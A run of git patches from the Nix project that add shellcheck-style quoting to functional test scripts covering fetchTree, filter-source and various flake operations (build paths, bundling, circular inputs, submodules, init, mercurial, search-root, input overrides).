diff --git a/tests/functional/fetchPath.sh b/tests/functional/fetchPath.sh
index e466e44946c..560a270c1a9 100755
--- a/tests/functional/fetchPath.sh
+++ b/tests/functional/fetchPath.sh
@@ -2,7 +2,7 @@
 
 source common.sh
 
-touch $TEST_ROOT/foo -t 202211111111
+touch "$TEST_ROOT/foo" -t 202211111111
 # We only check whether 2022-11-1* **:**:** is the last modified date since
 # `lastModified` is transformed into UTC in `builtins.fetchTarball`.
 [[ "$(nix eval --impure --raw --expr "(builtins.fetchTree \"path://$TEST_ROOT/foo\").lastModifiedDate")" =~ 2022111.* ]]

From 224f5515b91075e368259102cff40ba1a6b6494d Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:32:58 -0700
Subject: [PATCH 324/528] housekeeping: shellcheck for
 tests/functional/fetchTree-file.sh

Co-authored-by: Sandro <sandro.jaeckel@gmail.com>
---
 tests/functional/fetchTree-file.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/fetchTree-file.sh b/tests/functional/fetchTree-file.sh
index 9c9532876d7..6faccd28297 100755
--- a/tests/functional/fetchTree-file.sh
+++ b/tests/functional/fetchTree-file.sh
@@ -90,7 +90,7 @@ EOF
 EOF
 
     # Test tarball URLs on the command line.
-    [[ $(nix flake metadata --json file://$PWD/test_input_no_ext | jq -r .resolved.type) = tarball ]]
+    [[ $(nix flake metadata --json "file://$PWD/test_input_no_ext" | jq -r .resolved.type) = tarball ]]
 
     popd
 

From ae6a842c550e3fbb9c75e3ee93a78cf387fe4ec3 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:32:59 -0700
Subject: [PATCH 325/528] housekeeping: shellcheck for
 tests/functional/filter-source.sh

---
 tests/functional/filter-source.sh | 36 +++++++++++++++----------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/tests/functional/filter-source.sh b/tests/functional/filter-source.sh
index c5e10be9309..b32f5b59d52 100755
--- a/tests/functional/filter-source.sh
+++ b/tests/functional/filter-source.sh
@@ -2,26 +2,26 @@
 
 source common.sh
 
-rm -rf $TEST_ROOT/filterin
-mkdir $TEST_ROOT/filterin
-mkdir $TEST_ROOT/filterin/foo
-touch $TEST_ROOT/filterin/foo/bar
-touch $TEST_ROOT/filterin/xyzzy
-touch $TEST_ROOT/filterin/b
-touch $TEST_ROOT/filterin/bak
-touch $TEST_ROOT/filterin/bla.c.bak
-ln -s xyzzy $TEST_ROOT/filterin/link
+rm -rf "$TEST_ROOT/filterin"
+mkdir "$TEST_ROOT/filterin"
+mkdir "$TEST_ROOT/filterin/foo"
+touch "$TEST_ROOT/filterin/foo/bar"
+touch "$TEST_ROOT/filterin/xyzzy"
+touch "$TEST_ROOT/filterin/b"
+touch "$TEST_ROOT/filterin/bak"
+touch "$TEST_ROOT"/filterin/bla.c.bak
+ln -s xyzzy "$TEST_ROOT/filterin/link"
 
 checkFilter() {
-    test ! -e $1/foo/bar
-    test -e $1/xyzzy
-    test -e $1/bak
-    test ! -e $1/bla.c.bak
-    test ! -L $1/link
+    test ! -e "$1/foo/bar"
+    test -e "$1/xyzzy"
+    test -e "$1/bak"
+    test ! -e "$1"/bla.c.bak
+    test ! -L "$1/link"
 }
 
-nix-build ./filter-source.nix -o $TEST_ROOT/filterout1
-checkFilter $TEST_ROOT/filterout1
+nix-build ./filter-source.nix -o "$TEST_ROOT/filterout1"
+checkFilter "$TEST_ROOT/filterout1"
 
-nix-build ./path.nix -o $TEST_ROOT/filterout2
-checkFilter $TEST_ROOT/filterout2
+nix-build ./path.nix -o "$TEST_ROOT/filterout2"
+checkFilter "$TEST_ROOT/filterout2"

From d81fd4a1c38a7a06cfbad1728aa9bfcc3753dc6b Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:09 -0700
Subject: [PATCH 326/528] housekeeping: shellcheck for
 tests/functional/flakes/absolute-attr-paths.sh

---
 tests/functional/flakes/absolute-attr-paths.sh | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/tests/functional/flakes/absolute-attr-paths.sh b/tests/functional/flakes/absolute-attr-paths.sh
index 8ed1755c4b3..b0e6225d87d 100755
--- a/tests/functional/flakes/absolute-attr-paths.sh
+++ b/tests/functional/flakes/absolute-attr-paths.sh
@@ -4,8 +4,8 @@ source ./common.sh
 
 flake1Dir=$TEST_ROOT/flake1
 
-mkdir -p $flake1Dir
-cat > $flake1Dir/flake.nix <<EOF
+mkdir -p "$flake1Dir"
+cat > "$flake1Dir"/flake.nix <<EOF
 {
     outputs = { self }: {
         x = 1;
@@ -14,6 +14,6 @@ cat > $flake1Dir/flake.nix <<EOF
 }
 EOF
 
-[ "$(nix eval --impure --json $flake1Dir#.x)" -eq 1 ]
-[ "$(nix eval --impure --json $flake1Dir#x)" -eq 2 ]
-[ "$(nix eval --impure --json $flake1Dir#.packages.$system.x)" -eq 2 ]
+[ "$(nix eval --impure --json "$flake1Dir"#.x)" -eq 1 ]
+[ "$(nix eval --impure --json "$flake1Dir#x")" -eq 2 ]
+[ "$(nix eval --impure --json "$flake1Dir"#.packages."$system".x)" -eq 2 ]

From ee57c610ae615bb254463252a91c2905c17ec3b5 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:10 -0700
Subject: [PATCH 327/528] housekeeping: shellcheck for
 tests/functional/flakes/build-paths.sh

---
 tests/functional/flakes/build-paths.sh | 44 +++++++++++++-------------
 1 file changed, 22 insertions(+), 22 deletions(-)

diff --git a/tests/functional/flakes/build-paths.sh b/tests/functional/flakes/build-paths.sh
index a336471f08d..f8486528bb6 100755
--- a/tests/functional/flakes/build-paths.sh
+++ b/tests/functional/flakes/build-paths.sh
@@ -5,15 +5,15 @@ source ./common.sh
 flake1Dir=$TEST_ROOT/flake1
 flake2Dir=$TEST_ROOT/flake2
 
-mkdir -p $flake1Dir $flake2Dir
+mkdir -p "$flake1Dir" "$flake2Dir"
 
-writeSimpleFlake $flake2Dir
-tar cfz $TEST_ROOT/flake.tar.gz -C $TEST_ROOT flake2
-hash=$(nix hash path $flake2Dir)
+writeSimpleFlake "$flake2Dir"
+tar cfz "$TEST_ROOT"/flake.tar.gz -C "$TEST_ROOT" flake2
+hash=$(nix hash path "$flake2Dir")
 
 dep=$(nix store add-path ./common.sh)
 
-cat > $flake1Dir/flake.nix <<EOF
+cat > "$flake1Dir"/flake.nix <<EOF
 {
   inputs.flake2.url = "file://$TEST_ROOT/flake.tar.gz";
 
@@ -79,43 +79,43 @@ cat > $flake1Dir/flake.nix <<EOF
 }
 EOF
 
-cp ../simple.nix ../simple.builder.sh ../config.nix $flake1Dir/
+cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/"
 
-echo bar > $flake1Dir/foo
+echo bar > "$flake1Dir/foo"
 
-nix build --json --out-link $TEST_ROOT/result $flake1Dir#a1
+nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a1"
 [[ -e $TEST_ROOT/result/simple.nix ]]
 
-nix build --json --out-link $TEST_ROOT/result $flake1Dir#a2
-[[ $(cat $TEST_ROOT/result) = bar ]]
+nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a2"
+[[ $(cat "$TEST_ROOT/result") = bar ]]
 
-nix build --json --out-link $TEST_ROOT/result $flake1Dir#a3
+nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a3"
 
-nix build --json --out-link $TEST_ROOT/result $flake1Dir#a4
+nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a4"
 
-nix build --json --out-link $TEST_ROOT/result $flake1Dir#a6
+nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a6"
 [[ -e $TEST_ROOT/result/simple.nix ]]
 
-nix build --impure --json --out-link $TEST_ROOT/result $flake1Dir#a8
-diff common.sh $TEST_ROOT/result
+nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a8"
+diff common.sh "$TEST_ROOT/result"
 
-expectStderr 1 nix build --impure --json --out-link $TEST_ROOT/result $flake1Dir#a9 \
+expectStderr 1 nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a9" \
   | grepQuiet "has 0 entries in its context. It should only have exactly one entry"
 
-nix build --json --out-link $TEST_ROOT/result $flake1Dir#a10
-[[ $(readlink -e $TEST_ROOT/result) = *simple.drv ]]
+nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir"#a10
+[[ $(readlink -e "$TEST_ROOT/result") = *simple.drv ]]
 
-expectStderr 1 nix build --json --out-link $TEST_ROOT/result $flake1Dir#a11 \
+expectStderr 1 nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a11" \
   | grepQuiet "has a context which refers to a complete source and binary closure"
 
-nix build --json --out-link $TEST_ROOT/result $flake1Dir#a12
+nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a12"
 [[ -e $TEST_ROOT/result/hello ]]
 
-expectStderr 1 nix build --impure --json --out-link $TEST_ROOT/result $flake1Dir#a13 \
+expectStderr 1 nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a13" \
   | grepQuiet "has 2 entries in its context. It should only have exactly one entry"
 
 # Test accessing output in installables with `.` (foobarbaz.<output>)
-nix build --json --no-link $flake1Dir#a14.foo | jq --exit-status '
+nix build --json --no-link "$flake1Dir"#a14.foo | jq --exit-status '
   (.[0] |
     (.drvPath | match(".*dot-installable.drv")) and
     (.outputs | keys == ["foo"]))

From ece86b719150fe5122f78b24e3f46602b6656973 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:11 -0700
Subject: [PATCH 328/528] housekeeping: shellcheck for
 tests/functional/flakes/bundle.sh

---
 tests/functional/flakes/bundle.sh | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/tests/functional/flakes/bundle.sh b/tests/functional/flakes/bundle.sh
index 711691e0b9b..5e185cbf62d 100755
--- a/tests/functional/flakes/bundle.sh
+++ b/tests/functional/flakes/bundle.sh
@@ -2,9 +2,9 @@
 
 source common.sh
 
-cp ../simple.nix ../simple.builder.sh ../config.nix $TEST_HOME
+cp ../simple.nix ../simple.builder.sh ../config.nix "$TEST_HOME"
 
-cd $TEST_HOME
+cd "$TEST_HOME"
 
 cat <<EOF > flake.nix
 {
@@ -27,8 +27,8 @@ EOF
 
 nix build .#
 nix bundle --bundler .# .#
-nix bundle --bundler .#bundlers.$system.default .#packages.$system.default
-nix bundle --bundler .#bundlers.$system.simple  .#packages.$system.default
+nix bundle --bundler .#bundlers."$system".default .#packages."$system".default
+nix bundle --bundler .#bundlers."$system".simple  .#packages."$system".default
 
-nix bundle --bundler .#bundlers.$system.default .#apps.$system.default
-nix bundle --bundler .#bundlers.$system.simple  .#apps.$system.default
+nix bundle --bundler .#bundlers."$system".default .#apps."$system".default
+nix bundle --bundler .#bundlers."$system".simple  .#apps."$system".default

From 3b853e795beab3f5f7117b47ae0b3be42882fac4 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:12 -0700
Subject: [PATCH 329/528] housekeeping: shellcheck for
 tests/functional/flakes/circular.sh

---
 tests/functional/flakes/circular.sh | 28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/tests/functional/flakes/circular.sh b/tests/functional/flakes/circular.sh
index 6cab3a72b05..5304496ba57 100755
--- a/tests/functional/flakes/circular.sh
+++ b/tests/functional/flakes/circular.sh
@@ -8,10 +8,10 @@ requireGit
 flakeA=$TEST_ROOT/flakeA
 flakeB=$TEST_ROOT/flakeB
 
-createGitRepo $flakeA
-createGitRepo $flakeB
+createGitRepo "$flakeA"
+createGitRepo "$flakeB"
 
-cat > $flakeA/flake.nix <<EOF
+cat > "$flakeA"/flake.nix <<EOF
 {
   inputs.b.url = git+file://$flakeB;
   inputs.b.inputs.a.follows = "/";
@@ -23,9 +23,9 @@ cat > $flakeA/flake.nix <<EOF
 }
 EOF
 
-git -C $flakeA add flake.nix
+git -C "$flakeA" add flake.nix
 
-cat > $flakeB/flake.nix <<EOF
+cat > "$flakeB"/flake.nix <<EOF
 {
   inputs.a.url = git+file://$flakeA;
 
@@ -35,18 +35,18 @@ cat > $flakeB/flake.nix <<EOF
 }
 EOF
 
-git -C $flakeB add flake.nix
-git -C $flakeB commit -a -m 'Foo'
+git -C "$flakeB" add flake.nix
+git -C "$flakeB" commit -a -m 'Foo'
 
-[[ $(nix eval $flakeA#foo) = 1579 ]]
-[[ $(nix eval $flakeA#foo) = 1579 ]]
+[[ $(nix eval "$flakeA#foo") = 1579 ]]
+[[ $(nix eval "$flakeA#foo") = 1579 ]]
 
-sed -i $flakeB/flake.nix -e 's/456/789/'
-git -C $flakeB commit -a -m 'Foo'
+sed -i "$flakeB"/flake.nix -e 's/456/789/'
+git -C "$flakeB" commit -a -m 'Foo'
 
-nix flake update b --flake $flakeA
-[[ $(nix eval $flakeA#foo) = 1912 ]]
+nix flake update b --flake "$flakeA"
+[[ $(nix eval "$flakeA#foo") = 1912 ]]
 
 # Test list-inputs with circular dependencies
-nix flake metadata $flakeA
+nix flake metadata "$flakeA"
 

From 71d5baca470db5cd9cf9977fc5316cf152a25d1c Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:15 -0700
Subject: [PATCH 330/528] housekeeping: shellcheck for
 tests/functional/flakes/flake-in-submodule.sh

---
 tests/functional/flakes/flake-in-submodule.sh | 34 +++++++++----------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/tests/functional/flakes/flake-in-submodule.sh b/tests/functional/flakes/flake-in-submodule.sh
index 2988352a995..08f75121660 100755
--- a/tests/functional/flakes/flake-in-submodule.sh
+++ b/tests/functional/flakes/flake-in-submodule.sh
@@ -27,8 +27,8 @@ rootRepo=$TEST_ROOT/rootRepo
 subRepo=$TEST_ROOT/submodule
 
 
-createGitRepo $subRepo
-cat > $subRepo/flake.nix <<EOF
+createGitRepo "$subRepo"
+cat > "$subRepo"/flake.nix <<EOF
 {
     outputs = { self }: {
         sub = import ./sub.nix;
@@ -36,28 +36,28 @@ cat > $subRepo/flake.nix <<EOF
     };
 }
 EOF
-echo '"expression in submodule"' > $subRepo/sub.nix
-git -C $subRepo add flake.nix sub.nix
-git -C $subRepo commit -m Initial
+echo '"expression in submodule"' > "$subRepo"/sub.nix
+git -C "$subRepo" add flake.nix sub.nix
+git -C "$subRepo" commit -m Initial
 
-createGitRepo $rootRepo
+createGitRepo "$rootRepo"
 
-git -C $rootRepo submodule init
-git -C $rootRepo submodule add $subRepo submodule
-echo '"expression in root repo"' > $rootRepo/root.nix
-git -C $rootRepo add root.nix
-git -C $rootRepo commit -m "Add root.nix"
+git -C "$rootRepo" submodule init
+git -C "$rootRepo" submodule add "$subRepo" submodule
+echo '"expression in root repo"' > "$rootRepo"/root.nix
+git -C "$rootRepo" add root.nix
+git -C "$rootRepo" commit -m "Add root.nix"
 
 flakeref=git+file://$rootRepo\?submodules=1\&dir=submodule
 
 # Flake can live inside a submodule and can be accessed via ?dir=submodule
-[[ $(nix eval --json $flakeref#sub ) = '"expression in submodule"' ]]
+[[ $(nix eval --json "$flakeref#sub" ) = '"expression in submodule"' ]]
 
 # The flake can access content outside of the submodule
-[[ $(nix eval --json $flakeref#root ) = '"expression in root repo"' ]]
+[[ $(nix eval --json "$flakeref#root" ) = '"expression in root repo"' ]]
 
 # Check that dirtying a submodule makes the entire thing dirty.
-[[ $(nix flake metadata --json $flakeref | jq -r .locked.rev) != null ]]
-echo '"foo"' > $rootRepo/submodule/sub.nix
-[[ $(nix eval --json $flakeref#sub ) = '"foo"' ]]
-[[ $(nix flake metadata --json $flakeref | jq -r .locked.rev) = null ]]
+[[ $(nix flake metadata --json "$flakeref" | jq -r .locked.rev) != null ]]
+echo '"foo"' > "$rootRepo"/submodule/sub.nix
+[[ $(nix eval --json "$flakeref#sub" ) = '"foo"' ]]
+[[ $(nix flake metadata --json "$flakeref" | jq -r .locked.rev) = null ]]

From d95adb531ec55970c3eeae964c734015985e19b2 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:23 -0700
Subject: [PATCH 331/528] housekeeping: shellcheck for
 tests/functional/flakes/init.sh

---
 tests/functional/flakes/init.sh | 58 ++++++++++++++++-----------------
 1 file changed, 29 insertions(+), 29 deletions(-)

diff --git a/tests/functional/flakes/init.sh b/tests/functional/flakes/init.sh
index f8d51e819c9..6787b9e791c 100755
--- a/tests/functional/flakes/init.sh
+++ b/tests/functional/flakes/init.sh
@@ -8,16 +8,16 @@ templatesDir=$TEST_ROOT/templates
 flakeDir=$TEST_ROOT/flake
 nixpkgsDir=$TEST_ROOT/nixpkgs
 
-nix registry add --registry $registry templates git+file://$templatesDir
-nix registry add --registry $registry nixpkgs git+file://$nixpkgsDir
+nix registry add --registry "$registry" templates git+file://"$templatesDir"
+nix registry add --registry "$registry" nixpkgs git+file://"$nixpkgsDir"
 
-createGitRepo $nixpkgsDir
-createSimpleGitFlake $nixpkgsDir
+createGitRepo "$nixpkgsDir"
+createSimpleGitFlake "$nixpkgsDir"
 
 # Test 'nix flake init'.
-createGitRepo $templatesDir
+createGitRepo "$templatesDir"
 
-cat > $templatesDir/flake.nix <<EOF
+cat > "$templatesDir"/flake.nix <<EOF
 {
   description = "Some templates";
 
@@ -36,9 +36,9 @@ cat > $templatesDir/flake.nix <<EOF
 }
 EOF
 
-mkdir $templatesDir/trivial
+mkdir "$templatesDir/trivial"
 
-cat > $templatesDir/trivial/flake.nix <<EOF
+cat > "$templatesDir"/trivial/flake.nix <<EOF
 {
   description = "A flake for building Hello World";
 
@@ -50,40 +50,40 @@ cat > $templatesDir/trivial/flake.nix <<EOF
   };
 }
 EOF
-echo a > $templatesDir/trivial/a
-echo b > $templatesDir/trivial/b
+echo a > "$templatesDir/trivial/a"
+echo b > "$templatesDir/trivial/b"
 
-git -C $templatesDir add flake.nix trivial/
-git -C $templatesDir commit -m 'Initial'
+git -C "$templatesDir" add flake.nix trivial/
+git -C "$templatesDir" commit -m 'Initial'
 
 nix flake check templates
 nix flake show templates
 nix flake show templates --json | jq
 
-createGitRepo $flakeDir
-(cd $flakeDir && nix flake init)
-(cd $flakeDir && nix flake init) # check idempotence
-git -C $flakeDir add flake.nix
-nix flake check $flakeDir
-nix flake show $flakeDir
-nix flake show $flakeDir --json | jq
-git -C $flakeDir commit -a -m 'Initial'
+createGitRepo "$flakeDir"
+(cd "$flakeDir" && nix flake init)
+(cd "$flakeDir" && nix flake init) # check idempotence
+git -C "$flakeDir" add flake.nix
+nix flake check "$flakeDir"
+nix flake show "$flakeDir"
+nix flake show "$flakeDir" --json | jq
+git -C "$flakeDir" commit -a -m 'Initial'
 
 # Test 'nix flake init' with benign conflicts
 createGitRepo "$flakeDir"
-echo a > $flakeDir/a
-(cd $flakeDir && nix flake init) # check idempotence
+echo a > "$flakeDir/a"
+(cd "$flakeDir" && nix flake init) # check idempotence
 
 # Test 'nix flake init' with conflicts
 createGitRepo "$flakeDir"
-echo b > $flakeDir/a
-pushd $flakeDir
+echo b > "$flakeDir/a"
+pushd "$flakeDir"
 (! nix flake init) |& grep "refusing to overwrite existing file '$flakeDir/a'"
 popd
-git -C $flakeDir commit -a -m 'Changed'
+git -C "$flakeDir" commit -a -m 'Changed'
 
 # Test 'nix flake new'.
-rm -rf $flakeDir
-nix flake new -t templates#trivial $flakeDir
-nix flake new -t templates#trivial $flakeDir # check idempotence
-nix flake check $flakeDir
+rm -rf "$flakeDir"
+nix flake new -t templates#trivial "$flakeDir"
+nix flake new -t templates#trivial "$flakeDir" # check idempotence
+nix flake check "$flakeDir"

From c7b3468968c56e34a38096419d59be5e71941e6f Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:24 -0700
Subject: [PATCH 332/528] housekeeping: shellcheck for
 tests/functional/flakes/inputs.sh

---
 tests/functional/flakes/inputs.sh | 32 +++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/tests/functional/flakes/inputs.sh b/tests/functional/flakes/inputs.sh
index 0327a3e9e0f..bc0603f1b1b 100755
--- a/tests/functional/flakes/inputs.sh
+++ b/tests/functional/flakes/inputs.sh
@@ -8,12 +8,12 @@ requireGit
 test_subdir_self_path() {
     baseDir=$TEST_ROOT/$RANDOM
     flakeDir=$baseDir/b-low
-    mkdir -p $flakeDir
-    writeSimpleFlake $baseDir
-    writeSimpleFlake $flakeDir
+    mkdir -p "$flakeDir"
+    writeSimpleFlake "$baseDir"
+    writeSimpleFlake "$flakeDir"
 
-    echo all good > $flakeDir/message
-    cat > $flakeDir/flake.nix <<EOF
+    echo all good > "$flakeDir/message"
+    cat > "$flakeDir"/flake.nix <<EOF
 {
   outputs = inputs: rec {
     packages.$system = rec {
@@ -26,7 +26,7 @@ test_subdir_self_path() {
 }
 EOF
     (
-        nix build $baseDir?dir=b-low --no-link
+        nix build "$baseDir"?dir=b-low --no-link
     )
 }
 test_subdir_self_path
@@ -34,14 +34,14 @@ test_subdir_self_path
 
 test_git_subdir_self_path() {
     repoDir=$TEST_ROOT/repo-$RANDOM
-    createGitRepo $repoDir
+    createGitRepo "$repoDir"
     flakeDir=$repoDir/b-low
-    mkdir -p $flakeDir
-    writeSimpleFlake $repoDir
-    writeSimpleFlake $flakeDir
+    mkdir -p "$flakeDir"
+    writeSimpleFlake "$repoDir"
+    writeSimpleFlake "$flakeDir"
 
-    echo all good > $flakeDir/message
-    cat > $flakeDir/flake.nix <<EOF
+    echo all good > "$flakeDir/message"
+    cat > "$flakeDir"/flake.nix <<EOF
 {
   outputs = inputs: rec {
     packages.$system = rec {
@@ -55,15 +55,15 @@ test_git_subdir_self_path() {
 }
 EOF
     (
-        cd $flakeDir
+        cd "$flakeDir"
         git add .
         git commit -m init
         # nix build
     )
 
     clientDir=$TEST_ROOT/client-$RANDOM
-    mkdir -p $clientDir
-    cat > $clientDir/flake.nix <<EOF
+    mkdir -p "$clientDir"
+    cat > "$clientDir"/flake.nix <<EOF
 {
   inputs.inp = {
     type = "git";
@@ -76,7 +76,7 @@ EOF
   };
 }
 EOF
-    nix build $clientDir --no-link
+    nix build "$clientDir" --no-link
 
 }
 test_git_subdir_self_path

From b9768b4872c5ae55c245ef13d8fae904db943994 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:29 -0700
Subject: [PATCH 333/528] housekeeping: shellcheck for
 tests/functional/flakes/mercurial.sh

---
 tests/functional/flakes/mercurial.sh | 46 ++++++++++++++--------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/tests/functional/flakes/mercurial.sh b/tests/functional/flakes/mercurial.sh
index 0e9f2d626e8..1b095790b44 100755
--- a/tests/functional/flakes/mercurial.sh
+++ b/tests/functional/flakes/mercurial.sh
@@ -5,41 +5,41 @@ source ./common.sh
 [[ $(type -p hg) ]] || skipTest "Mercurial not installed"
 
 flake1Dir=$TEST_ROOT/flake-hg1
-mkdir -p $flake1Dir
-writeSimpleFlake $flake1Dir
-hg init $flake1Dir
+mkdir -p "$flake1Dir"
+writeSimpleFlake "$flake1Dir"
+hg init "$flake1Dir"
 
-nix registry add --registry $registry flake1 hg+file://$flake1Dir
+nix registry add --registry "$registry" flake1 hg+file://"$flake1Dir"
 
 flake2Dir=$TEST_ROOT/flake-hg2
-mkdir -p $flake2Dir
-writeDependentFlake $flake2Dir
-hg init $flake2Dir
+mkdir -p "$flake2Dir"
+writeDependentFlake "$flake2Dir"
+hg init "$flake2Dir"
 
-hg add $flake1Dir/*
-hg commit --config ui.username=foobar@example.org $flake1Dir -m 'Initial commit'
+hg add "$flake1Dir"/*
+hg commit --config ui.username=foobar@example.org "$flake1Dir" -m 'Initial commit'
 
-hg add $flake2Dir/flake.nix
-hg commit --config ui.username=foobar@example.org $flake2Dir -m 'Initial commit'
+hg add "$flake2Dir"/flake.nix
+hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Initial commit'
 
-nix build -o $TEST_ROOT/result hg+file://$flake2Dir
+nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir"
 [[ -e $TEST_ROOT/result/hello ]]
 
-(! nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revision)
+(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision)
 
-nix eval hg+file://$flake2Dir#expr
+nix eval hg+file://"$flake2Dir"#expr
 
-nix eval hg+file://$flake2Dir#expr
+nix eval hg+file://"$flake2Dir"#expr
 
-(! nix eval hg+file://$flake2Dir#expr --no-allow-dirty)
+(! nix eval hg+file://"$flake2Dir"#expr --no-allow-dirty)
 
-(! nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revision)
+(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision)
 
-hg commit --config ui.username=foobar@example.org $flake2Dir -m 'Add lock file'
+hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Add lock file'
 
-nix flake metadata --json hg+file://$flake2Dir --refresh | jq -e -r .revision
-nix flake metadata --json hg+file://$flake2Dir
-[[ $(nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revCount) = 1 ]]
+nix flake metadata --json hg+file://"$flake2Dir" --refresh | jq -e -r .revision
+nix flake metadata --json hg+file://"$flake2Dir"
+[[ $(nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revCount) = 1 ]]
 
-nix build -o $TEST_ROOT/result hg+file://$flake2Dir --no-registries --no-allow-dirty
-nix build -o $TEST_ROOT/result hg+file://$flake2Dir --no-use-registries --no-allow-dirty
+nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-registries --no-allow-dirty
+nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-use-registries --no-allow-dirty

From e1ce349d05608ea4acdcf02385f7fb634caa6a4b Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:30 -0700
Subject: [PATCH 334/528] housekeeping: shellcheck for
 tests/functional/flakes/search-root.sh

---
 tests/functional/flakes/search-root.sh | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh
index c2337edc0d4..600dcf93799 100755
--- a/tests/functional/flakes/search-root.sh
+++ b/tests/functional/flakes/search-root.sh
@@ -4,8 +4,8 @@ source common.sh
 
 clearStore
 
-writeSimpleFlake $TEST_HOME
-cd $TEST_HOME
+writeSimpleFlake "$TEST_HOME"
+cd "$TEST_HOME"
 mkdir -p foo/subdir
 
 echo '{ outputs = _: {}; }' > foo/flake.nix
@@ -27,11 +27,11 @@ success=("" . .# .#test ../subdir ../subdir#test "$PWD")
 failure=("path:$PWD" "../simple.nix")
 
 for i in "${success[@]}"; do
-    nix build $i || fail "flake should be found by searching up directories"
+    nix build "$i" || fail "flake should be found by searching up directories"
 done
 
 for i in "${failure[@]}"; do
-    ! nix build $i || fail "flake should not search up directories when using 'path:'"
+    ! nix build "$i" || fail "flake should not search up directories when using 'path:'"
 done
 
 popd
@@ -45,7 +45,7 @@ if [[ -n $(type -p git) ]]; then
     pushd subdir
     git init
     for i in "${success[@]}" "${failure[@]}"; do
-        ! nix build $i || fail "flake should not search past a git repository"
+        ! nix build "$i" || fail "flake should not search past a git repository"
     done
     rm -rf .git
     popd

From b764dd9aa40f3dcc5664d920393d277b97db3923 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:31 -0700
Subject: [PATCH 335/528] housekeeping: shellcheck for
 tests/functional/flakes/unlocked-override.sh

---
 tests/functional/flakes/unlocked-override.sh | 22 ++++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/tests/functional/flakes/unlocked-override.sh b/tests/functional/flakes/unlocked-override.sh
index 680a1505c8c..a17a0c2afe7 100755
--- a/tests/functional/flakes/unlocked-override.sh
+++ b/tests/functional/flakes/unlocked-override.sh
@@ -7,26 +7,26 @@ requireGit
 flake1Dir=$TEST_ROOT/flake1
 flake2Dir=$TEST_ROOT/flake2
 
-createGitRepo $flake1Dir
-cat > $flake1Dir/flake.nix <<EOF
+createGitRepo "$flake1Dir"
+cat > "$flake1Dir"/flake.nix <<EOF
 {
     outputs = { self }: { x = import ./x.nix; };
 }
 EOF
-echo 123 > $flake1Dir/x.nix
-git -C $flake1Dir add flake.nix x.nix
-git -C $flake1Dir commit -m Initial
+echo 123 > "$flake1Dir"/x.nix
+git -C "$flake1Dir" add flake.nix x.nix
+git -C "$flake1Dir" commit -m Initial
 
-createGitRepo $flake2Dir
-cat > $flake2Dir/flake.nix <<EOF
+createGitRepo "$flake2Dir"
+cat > "$flake2Dir"/flake.nix <<EOF
 {
     outputs = { self, flake1 }: { x = flake1.x; };
 }
 EOF
-git -C $flake2Dir add flake.nix
+git -C "$flake2Dir" add flake.nix
 
-[[ $(nix eval --json $flake2Dir#x --override-input flake1 $TEST_ROOT/flake1) = 123 ]]
+[[ $(nix eval --json "$flake2Dir#x" --override-input flake1 "$TEST_ROOT/flake1") = 123 ]]
 
